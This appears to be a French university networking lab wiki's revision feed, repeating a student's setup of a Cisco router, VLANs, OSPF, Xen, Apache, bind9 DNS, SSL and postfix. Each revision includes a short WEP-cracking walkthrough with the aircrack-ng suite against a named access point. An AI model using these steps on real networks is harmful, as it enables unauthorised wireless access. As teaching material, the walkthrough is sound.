         SSLCertificateFile /etc/ssl/certs/unic0rn.pw.crt&lt;br /&gt;
         SSLCertificateKeyFile /etc/ssl/private/unic0rn.pw.key&lt;br /&gt;
         SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
         SSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on peut ensuite accéder à https://unic0rn.pw !&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
[[File:Magic.gif]]&lt;br /&gt;
&lt;br /&gt;
=== Serveur email ===&lt;br /&gt;
&lt;br /&gt;
Le nom de domaine a un email de configuré (admin@unic0rn.pw), nous devons donc s&amp;#039;arranger pour recevoir les emails. On installe donc un serveur d&amp;#039;email:&lt;br /&gt;
&lt;br /&gt;
 # apt-get install postfix&lt;br /&gt;
 # echo &amp;quot;admin: root&amp;quot; &amp;gt;&amp;gt; /etc/aliases&lt;br /&gt;
&lt;br /&gt;
On envoie un email et on vérifie les emails:&lt;br /&gt;
&lt;br /&gt;
 # mail&lt;br /&gt;
&lt;br /&gt;
=== DNSSEC ===&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
== Attaque du WiFi ==&lt;br /&gt;
&lt;br /&gt;
On commence par activer le mode promicious de la carte wifi:&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On liste les points d&amp;#039;accès pour trouver une cible:&lt;br /&gt;
&lt;br /&gt;
 # airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
J&amp;#039;ai décidé ici d&amp;#039;attaquer &amp;quot;cracotte01&amp;quot; (canal 10) qui est un point d&amp;#039;accès configuré en WEP. On commence donc par récupérer les paquets transitants par ce point d&amp;#039;accès:&lt;br /&gt;
&lt;br /&gt;
 # airodump-ng -w out -c 10 -essid cracotte01 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Heureusement pour nous, quelqu&amp;#039;un est déjà connecté dessus et génére beaucoup de paquets. On arrive rapidement à 200.000 paquets et on peut donc lancer le crack de la clé WEP:&lt;br /&gt;
&lt;br /&gt;
 # aircrack-ng out-01.pcap&lt;br /&gt;
 &lt;br /&gt;
  KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:E4 ]&lt;/div&gt;</summary>
		<author><name>Dfourny</name></author>
	</entry>
	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki/index.php?title=TP_sysres_IMA2a5_2016/2017_G1&amp;diff=35417</id>
		<title>TP sysres IMA2a5 2016/2017 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki/index.php?title=TP_sysres_IMA2a5_2016/2017_G1&amp;diff=35417"/>
		<updated>2016-11-25T11:34:55Z</updated>

		<summary type="html">&lt;p&gt;Dfourny : /* Xen */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;              \&lt;br /&gt;
               \&lt;br /&gt;
                \\&lt;br /&gt;
                 \\&lt;br /&gt;
                  &amp;gt;\/7&lt;br /&gt;
              _.-(6&amp;#039;  \&lt;br /&gt;
             (=___._/` \&lt;br /&gt;
                  )  \ |&lt;br /&gt;
                 /   / |&lt;br /&gt;
                /    &amp;gt; /&lt;br /&gt;
               j    &amp;lt; _\&lt;br /&gt;
           _.-&amp;#039; :      ``.&lt;br /&gt;
           \ r=._\        `.&lt;br /&gt;
          &amp;lt;`\\_  \         .`-.&lt;br /&gt;
           \ r-7  `-. ._  &amp;#039; .  `\&lt;br /&gt;
            \`,      `-.`7  7)   )&lt;br /&gt;
             \/         \|  \&amp;#039;  / `-._&lt;br /&gt;
                        ||    .&amp;#039;&lt;br /&gt;
                         \\  (&lt;br /&gt;
    unic0rn.pw           &amp;gt;\  &amp;gt;&lt;br /&gt;
                      ,.-&amp;#039; &amp;gt;.&amp;#039;&lt;br /&gt;
                     &amp;lt;.&amp;#039;_.&amp;#039;&amp;#039;&lt;br /&gt;
                       &amp;lt;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
== Plages d&amp;#039;IP ==&lt;br /&gt;
&lt;br /&gt;
   VLAN  |      Réseau     | Prénom  |   Xen    |      IP Xen       &lt;br /&gt;
  --------------------------------------------------------------&lt;br /&gt;
  VLAN20   10.60.20.0/24     Dimitri   Vald       193.48.57.182/28&lt;br /&gt;
  VLAN21   10.60.21.0/24     Nabil     Pnl        193.48.57.177/28&lt;br /&gt;
  VLAN22   10.60.22.0/24     Otmane    Lartiste   193.48.57.178/28&lt;br /&gt;
  VLAN23   10.60.23.0/24     Hugo      Gradur     193.48.57.179/28&lt;br /&gt;
  VLAN24   10.60.24.0/24     Clement   Gringe     193.48.57.180/28&lt;br /&gt;
  VLAN25   10.60.25.0/24     Joan      Orelsan    193.48.57.181/28&lt;br /&gt;
  VLAN26   193.48.57.176/28  Xen&lt;br /&gt;
&lt;br /&gt;
Routeur de Dimitri:&lt;br /&gt;
* 10.60.2?.1&lt;br /&gt;
* 193.48.57.190&lt;br /&gt;
* 192.168.222.9&lt;br /&gt;
&lt;br /&gt;
Routeur de Nabil:&lt;br /&gt;
* 10.60.2?.2&lt;br /&gt;
* 193.48.57.189&lt;br /&gt;
* 192.168.222.10&lt;br /&gt;
&lt;br /&gt;
==  Configuration du routeur ==&lt;br /&gt;
=== Version ===&lt;br /&gt;
&lt;br /&gt;
Je travaille actuellement sur une nouvelle version de IOS basé sur un Linux:&lt;br /&gt;
&lt;br /&gt;
 Cisco IOS XE Software, Version 03.13.04.S - Extended Support Release&lt;br /&gt;
 Cisco IOS Software, ISR Software (X86_64_LINUX_IOSD-UNIVERSALK9-M), Version 15.4(3)S4, RELEASE SOFTWARE (fc3)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Ports ===&lt;br /&gt;
&lt;br /&gt;
Les ports GigabitEthernet0/0/0 et GigabitEthernet0/0/1 ont exactement la même configuration puisque ce sont deux commutateurs qui seront branchés à ses ports.&lt;br /&gt;
&lt;br /&gt;
 interface GigabitEthernet0/0/0&lt;br /&gt;
  no ip address&lt;br /&gt;
  media-type sfp&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 20 ethernet&lt;br /&gt;
   encapsulation dot1q 20&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 20&lt;br /&gt;
  !&lt;br /&gt;
  service instance 21 ethernet&lt;br /&gt;
   encapsulation dot1q 21&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 21&lt;br /&gt;
  !&lt;br /&gt;
  service instance 22 ethernet&lt;br /&gt;
   encapsulation dot1q 22&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 22&lt;br /&gt;
  !&lt;br /&gt;
  service instance 23 ethernet&lt;br /&gt;
   encapsulation dot1q 23&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 23&lt;br /&gt;
  !&lt;br /&gt;
  service instance 24 ethernet&lt;br /&gt;
   encapsulation dot1q 24&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 24&lt;br /&gt;
  !&lt;br /&gt;
  service instance 25 ethernet&lt;br /&gt;
   encapsulation dot1q 25&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 25&lt;br /&gt;
  !&lt;br /&gt;
  service instance 26 ethernet&lt;br /&gt;
   encapsulation dot1q 26&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 26&lt;br /&gt;
  !&lt;br /&gt;
  service instance 131 ethernet&lt;br /&gt;
   encapsulation dot1q 131&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 131&lt;br /&gt;
  !&lt;br /&gt;
 !&lt;br /&gt;
 interface GigabitEthernet0/0/1&lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 20 ethernet&lt;br /&gt;
   encapsulation dot1q 20&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 20&lt;br /&gt;
  !&lt;br /&gt;
  service instance 21 ethernet&lt;br /&gt;
   encapsulation dot1q 21&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 21&lt;br /&gt;
  !&lt;br /&gt;
  service instance 22 ethernet&lt;br /&gt;
   encapsulation dot1q 22&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 22&lt;br /&gt;
  !&lt;br /&gt;
  service instance 23 ethernet&lt;br /&gt;
   encapsulation dot1q 23&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 23&lt;br /&gt;
  !&lt;br /&gt;
  service instance 24 ethernet&lt;br /&gt;
   encapsulation dot1q 24&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 24&lt;br /&gt;
  !&lt;br /&gt;
  service instance 25 ethernet&lt;br /&gt;
   encapsulation dot1q 25&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 25&lt;br /&gt;
  !&lt;br /&gt;
  service instance 26 ethernet&lt;br /&gt;
   encapsulation dot1q 26&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 26&lt;br /&gt;
  !&lt;br /&gt;
  service instance 131 ethernet&lt;br /&gt;
   encapsulation dot1q 131&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 131&lt;br /&gt;
  !&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
Ils sont configurés pour utiliser les bridges-domains suivant:&lt;br /&gt;
&lt;br /&gt;
 interface BDI20&lt;br /&gt;
  ip address 10.60.20.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI21&lt;br /&gt;
  ip address 10.60.21.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI22&lt;br /&gt;
  ip address 10.60.22.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI23&lt;br /&gt;
  ip address 10.60.23.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI24&lt;br /&gt;
  ip address 10.60.24.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI25&lt;br /&gt;
  ip address 10.60.25.1 255.255.255.240&lt;br /&gt;
 !         &lt;br /&gt;
 interface BDI26&lt;br /&gt;
  ip address 193.48.57.190 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI131&lt;br /&gt;
  ip address 192.168.222.9 255.255.255.248&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
Les bridge-domains de 20 à 26 sont utilisés pour les VLAN correspondant à chaque utilisateur tandis que le BDI 31 est utilisé pour la communication avec le routeur de l&amp;#039;école.&lt;br /&gt;
&lt;br /&gt;
=== OSPF ===&lt;br /&gt;
&lt;br /&gt;
Le protocole OSPF (Open Shortest Path First) nous permet de partager nos tables de routage entre notre routeur et le routeur de l&amp;#039;école (192.168.222.8).&lt;br /&gt;
&lt;br /&gt;
 router ospf 1&lt;br /&gt;
  router-id 10.60.20.1&lt;br /&gt;
  summary-address 10.60.20.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.21.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.22.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.23.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.24.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.25.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.26.0 255.255.255.0&lt;br /&gt;
  summary-address 193.48.57.176 255.255.255.240&lt;br /&gt;
  redistribute connected subnets&lt;br /&gt;
  redistribute static subnets route-map ospf&lt;br /&gt;
  network 192.168.222.8 0.0.0.7 area 2&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Xen ==&lt;br /&gt;
=== Proxy ===&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir installer le proxy, nous devons configurer le proxy pour que APT puisse accéder à internet:&lt;br /&gt;
&lt;br /&gt;
 $ echo &amp;#039;Acquire::http::Proxy &amp;quot;http://helfaut.escaut.net:3128&amp;quot;;&amp;#039; &amp;gt; /etc/apt/apt.conf.d/01proxy&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Apache2 ===&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install apache2&lt;br /&gt;
&lt;br /&gt;
On peut ensuite accéder à [http://193.48.57.182] pour visualiser &amp;quot;Apache2 Debian Default Page...&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Bind9 ===&lt;br /&gt;
&lt;br /&gt;
Une fois le nom de domaine acheté (unic0rn.pw) et configuré sur Gandi, il nous faut configurer bind9.&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
On commence par ajouter le DNS secondaire ns6.gandi.net:&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/bind/named.conf.options&lt;br /&gt;
     &lt;br /&gt;
 ...       &lt;br /&gt;
     allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
   &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut définir notre nom de domaine comme une zone:&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/bind/named.conf.local&lt;br /&gt;
  &lt;br /&gt;
 zone &amp;quot;unic0rn.pw&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;/etc/bind/unic0rn.pw&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour enfin écrire la configuration DNS associé à notre domaine et à ses sous-domaines:&lt;br /&gt;
&lt;br /&gt;
 # cat unic0rn.pw&lt;br /&gt;
  &lt;br /&gt;
 $TTL 259200&lt;br /&gt;
  &lt;br /&gt;
 @ IN SOA dns.unic0rn.pw. admin.unic0rn.pw. (&lt;br /&gt;
          10       ; Version&lt;br /&gt;
          7200             ; Refresh (2h)&lt;br /&gt;
          3600             ; Retry   (1h)&lt;br /&gt;
          1209600          ; Expire (14j)&lt;br /&gt;
          259200 )         ; Minimum TTL (3j)&lt;br /&gt;
   IN NS dns.unic0rn.pw.&lt;br /&gt;
   IN NS ns6.gandi.net.&lt;br /&gt;
   IN MX 100 dns.unic0rn.pw.&lt;br /&gt;
   IN A  193.48.57.182&lt;br /&gt;
 &lt;br /&gt;
 www	IN A       193.48.57.182&lt;br /&gt;
 dns	IN A       193.48.57.182&lt;br /&gt;
&lt;br /&gt;
On peut alors vérifier que tout fonctionne:&lt;br /&gt;
&lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
 $ host unic0rn.pw&lt;br /&gt;
  &lt;br /&gt;
   Using domain server:&lt;br /&gt;
   Name: 127.0.0.1&lt;br /&gt;
   Address: 127.0.0.1#53&lt;br /&gt;
   Aliases: &lt;br /&gt;
     &lt;br /&gt;
   unic0rn.pw has address 193.48.57.182&lt;br /&gt;
   unic0rn.pw mail is handled by 100 dns.unic0rn.pw.&lt;br /&gt;
  &lt;br /&gt;
 $ curl unic0rn.pw | less&lt;br /&gt;
   % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current&lt;br /&gt;
                                     Dload  Upload   Total   Spent    Left  Speed&lt;br /&gt;
   100 14286    0 14286    0     0   638k      0 --:--:-- --:--:-- --:--:--  664k&lt;br /&gt;
   &amp;lt;!DOCTYPE html&amp;gt;...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Sécurité ===&lt;br /&gt;
&lt;br /&gt;
On a tenté du bruteforce sur mon login root SSH le soir même de l&amp;#039;installation de mon nom de domaine. Bien que l&amp;#039;on ne puisse pas se connecter en root via ma configuration, j&amp;#039;ai tout de même ajouté fail2ban:&lt;br /&gt;
&lt;br /&gt;
 # apt-get install fail2ban&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
&lt;br /&gt;
Tout d&amp;#039;abord, il a fallu généré un certificat SSL. J&amp;#039;ai décidé de prendre un SHA-1 pour garder la compatibilité entre les navigateurs même si on devrait plutôt prendre un certificat SHA-2 pour une mise en production.&lt;br /&gt;
&lt;br /&gt;
 $ openssl req -nodes -newkey rsa:2048 -sha1 -keyout monserveur.key -out serveur.csr&lt;br /&gt;
&lt;br /&gt;
Il faut alors coller la clé dans l&amp;#039;interface de Gandi afin d&amp;#039;obtenir notre certificat.&lt;br /&gt;
&lt;br /&gt;
Pour ensuite installer notre certificat, il faut activer la librairie SSL dans apache2:&lt;br /&gt;
&lt;br /&gt;
 # a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Et vérifier que apache2 écoute bien sur le port SSL/TLS dans /etc/apache2/ports.conf:&lt;br /&gt;
&lt;br /&gt;
 Listen 80&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
 	Listen 443&lt;br /&gt;
 &amp;lt;/IfModule&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
 	 Listen 443&lt;br /&gt;
 &amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour activer le certificat, j&amp;#039;ai choisis la méthode de vérification qui consiste a créer un document sur notre serveur web. Ceci dans le but que Gandi (ou Comodo) puisse vérifier que le serveur pointé par le nom de domaine nous appartient bien.&lt;br /&gt;
Une fois notre certificat généré, il faut l&amp;#039;installer sur le serveur:&lt;br /&gt;
&lt;br /&gt;
 $ cp unic0rn.pw.crt /etc/ssl/certs/&lt;br /&gt;
 $ cp monserveur.key /etc/ssl/private/unic0rn.pw.key&lt;br /&gt;
 $ cp GandiStandardSSLCA2.pem /etc/ssl/certs/&lt;br /&gt;
 $ c_rehash /etc/ssl/certs &lt;br /&gt;
 &lt;br /&gt;
Puis modifier la configuration d&amp;#039;apache2:&lt;br /&gt;
&lt;br /&gt;
 $ vim /etc/apache2/sites-enabled/000-default.conf&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
         ServerName www.unic0rn.pw&lt;br /&gt;
         ServerAlias unic0rn.pw&lt;br /&gt;
         DocumentRoot /var/www/html&lt;br /&gt;
         CustomLog /var/log/apache2/secure_access.log combined  &lt;br /&gt;
 &lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /etc/ssl/certs/unic0rn.pw.crt&lt;br /&gt;
         SSLCertificateKeyFile /etc/ssl/private/unic0rn.pw.key&lt;br /&gt;
         SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
         SSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on peut ensuite accéder à https://unic0rn.pw !&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
[[File:Magic.gif]]&lt;br /&gt;
&lt;br /&gt;
=== DNSSEC ===&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
=== Serveur email ===&lt;br /&gt;
&lt;br /&gt;
Le nom de domaine a un email de configuré (admin@unic0rn.pw), nous devons donc s&amp;#039;arranger pour recevoir les emails. On installe donc un serveur d&amp;#039;email:&lt;br /&gt;
&lt;br /&gt;
 # apt-get install postfix&lt;br /&gt;
 # echo &amp;quot;admin: root&amp;quot; &amp;gt;&amp;gt; /etc/aliases&lt;br /&gt;
&lt;br /&gt;
On envoie un email et on vérifie les emails:&lt;br /&gt;
&lt;br /&gt;
 # mail&lt;br /&gt;
&lt;br /&gt;
== Attaque du WiFi ==&lt;br /&gt;
&lt;br /&gt;
On commence par activer le mode promicious de la carte wifi:&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On liste les points d&amp;#039;accès pour trouver une cible:&lt;br /&gt;
&lt;br /&gt;
 # airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
J&amp;#039;ai décidé ici d&amp;#039;attaquer &amp;quot;cracotte01&amp;quot; (canal 10) qui est un point d&amp;#039;accès configuré en WEP. On commence donc par récupérer les paquets transitants par ce point d&amp;#039;accès:&lt;br /&gt;
&lt;br /&gt;
 # airodump-ng -w out -c 10 -essid cracotte01 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Heureusement pour nous, quelqu&amp;#039;un est déjà connecté dessus et génére beaucoup de paquets. On arrive rapidement à 200.000 paquets et on peut donc lancer le crack de la clé WEP:&lt;br /&gt;
&lt;br /&gt;
 # aircrack-ng out-01.pcap&lt;br /&gt;
 &lt;br /&gt;
  KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:E4 ]&lt;/div&gt;</summary>
		<author><name>Dfourny</name></author>
	</entry>
	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki/index.php?title=TP_sysres_IMA2a5_2016/2017_G1&amp;diff=35416</id>
		<title>TP sysres IMA2a5 2016/2017 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki/index.php?title=TP_sysres_IMA2a5_2016/2017_G1&amp;diff=35416"/>
		<updated>2016-11-25T11:31:48Z</updated>

		<summary type="html">&lt;p&gt;Dfourny : /* Attaque du WiFi */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;              \&lt;br /&gt;
               \&lt;br /&gt;
                \\&lt;br /&gt;
                 \\&lt;br /&gt;
                  &amp;gt;\/7&lt;br /&gt;
              _.-(6&amp;#039;  \&lt;br /&gt;
             (=___._/` \&lt;br /&gt;
                  )  \ |&lt;br /&gt;
                 /   / |&lt;br /&gt;
                /    &amp;gt; /&lt;br /&gt;
               j    &amp;lt; _\&lt;br /&gt;
           _.-&amp;#039; :      ``.&lt;br /&gt;
           \ r=._\        `.&lt;br /&gt;
          &amp;lt;`\\_  \         .`-.&lt;br /&gt;
           \ r-7  `-. ._  &amp;#039; .  `\&lt;br /&gt;
            \`,      `-.`7  7)   )&lt;br /&gt;
             \/         \|  \&amp;#039;  / `-._&lt;br /&gt;
                        ||    .&amp;#039;&lt;br /&gt;
                         \\  (&lt;br /&gt;
    unic0rn.pw           &amp;gt;\  &amp;gt;&lt;br /&gt;
                      ,.-&amp;#039; &amp;gt;.&amp;#039;&lt;br /&gt;
                     &amp;lt;.&amp;#039;_.&amp;#039;&amp;#039;&lt;br /&gt;
                       &amp;lt;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
== Plages d&amp;#039;IP ==&lt;br /&gt;
&lt;br /&gt;
   VLAN  |      Réseau     | Prénom  |   Xen    |      IP Xen       &lt;br /&gt;
  --------------------------------------------------------------&lt;br /&gt;
  VLAN20   10.60.20.0/24     Dimitri   Vald       193.48.57.182/28&lt;br /&gt;
  VLAN21   10.60.21.0/24     Nabil     Pnl        193.48.57.177/28&lt;br /&gt;
  VLAN22   10.60.22.0/24     Otmane    Lartiste   193.48.57.178/28&lt;br /&gt;
  VLAN23   10.60.23.0/24     Hugo      Gradur     193.48.57.179/28&lt;br /&gt;
  VLAN24   10.60.24.0/24     Clement   Gringe     193.48.57.180/28&lt;br /&gt;
  VLAN25   10.60.25.0/24     Joan      Orelsan    193.48.57.181/28&lt;br /&gt;
  VLAN26   193.48.57.176/28  Xen&lt;br /&gt;
&lt;br /&gt;
Routeur de Dimitri:&lt;br /&gt;
* 10.60.2?.1&lt;br /&gt;
* 193.48.57.190&lt;br /&gt;
* 192.168.222.9&lt;br /&gt;
&lt;br /&gt;
Routeur de Nabil:&lt;br /&gt;
* 10.60.2?.2&lt;br /&gt;
* 193.48.57.189&lt;br /&gt;
* 192.168.222.10&lt;br /&gt;
&lt;br /&gt;
==  Configuration du routeur ==&lt;br /&gt;
=== Version ===&lt;br /&gt;
&lt;br /&gt;
Je travaille actuellement sur une nouvelle version de IOS basé sur un Linux:&lt;br /&gt;
&lt;br /&gt;
 Cisco IOS XE Software, Version 03.13.04.S - Extended Support Release&lt;br /&gt;
 Cisco IOS Software, ISR Software (X86_64_LINUX_IOSD-UNIVERSALK9-M), Version 15.4(3)S4, RELEASE SOFTWARE (fc3)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Ports ===&lt;br /&gt;
&lt;br /&gt;
Les ports GigabitEthernet0/0/0 et GigabitEthernet0/0/1 ont exactement la même configuration puisque ce sont deux commutateurs qui seront branchés à ses ports.&lt;br /&gt;
&lt;br /&gt;
 interface GigabitEthernet0/0/0&lt;br /&gt;
  no ip address&lt;br /&gt;
  media-type sfp&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 20 ethernet&lt;br /&gt;
   encapsulation dot1q 20&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 20&lt;br /&gt;
  !&lt;br /&gt;
  service instance 21 ethernet&lt;br /&gt;
   encapsulation dot1q 21&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 21&lt;br /&gt;
  !&lt;br /&gt;
  service instance 22 ethernet&lt;br /&gt;
   encapsulation dot1q 22&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 22&lt;br /&gt;
  !&lt;br /&gt;
  service instance 23 ethernet&lt;br /&gt;
   encapsulation dot1q 23&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 23&lt;br /&gt;
  !&lt;br /&gt;
  service instance 24 ethernet&lt;br /&gt;
   encapsulation dot1q 24&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 24&lt;br /&gt;
  !&lt;br /&gt;
  service instance 25 ethernet&lt;br /&gt;
   encapsulation dot1q 25&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 25&lt;br /&gt;
  !&lt;br /&gt;
  service instance 26 ethernet&lt;br /&gt;
   encapsulation dot1q 26&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 26&lt;br /&gt;
  !&lt;br /&gt;
  service instance 131 ethernet&lt;br /&gt;
   encapsulation dot1q 131&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 131&lt;br /&gt;
  !&lt;br /&gt;
 !&lt;br /&gt;
 interface GigabitEthernet0/0/1&lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 20 ethernet&lt;br /&gt;
   encapsulation dot1q 20&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 20&lt;br /&gt;
  !&lt;br /&gt;
  service instance 21 ethernet&lt;br /&gt;
   encapsulation dot1q 21&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 21&lt;br /&gt;
  !&lt;br /&gt;
  service instance 22 ethernet&lt;br /&gt;
   encapsulation dot1q 22&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 22&lt;br /&gt;
  !&lt;br /&gt;
  service instance 23 ethernet&lt;br /&gt;
   encapsulation dot1q 23&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 23&lt;br /&gt;
  !&lt;br /&gt;
  service instance 24 ethernet&lt;br /&gt;
   encapsulation dot1q 24&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 24&lt;br /&gt;
  !&lt;br /&gt;
  service instance 25 ethernet&lt;br /&gt;
   encapsulation dot1q 25&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 25&lt;br /&gt;
  !&lt;br /&gt;
  service instance 26 ethernet&lt;br /&gt;
   encapsulation dot1q 26&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 26&lt;br /&gt;
  !&lt;br /&gt;
  service instance 131 ethernet&lt;br /&gt;
   encapsulation dot1q 131&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 131&lt;br /&gt;
  !&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
Ils sont configurés pour utiliser les bridges-domains suivant:&lt;br /&gt;
&lt;br /&gt;
 interface BDI20&lt;br /&gt;
  ip address 10.60.20.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI21&lt;br /&gt;
  ip address 10.60.21.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI22&lt;br /&gt;
  ip address 10.60.22.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI23&lt;br /&gt;
  ip address 10.60.23.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI24&lt;br /&gt;
  ip address 10.60.24.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI25&lt;br /&gt;
  ip address 10.60.25.1 255.255.255.240&lt;br /&gt;
 !         &lt;br /&gt;
 interface BDI26&lt;br /&gt;
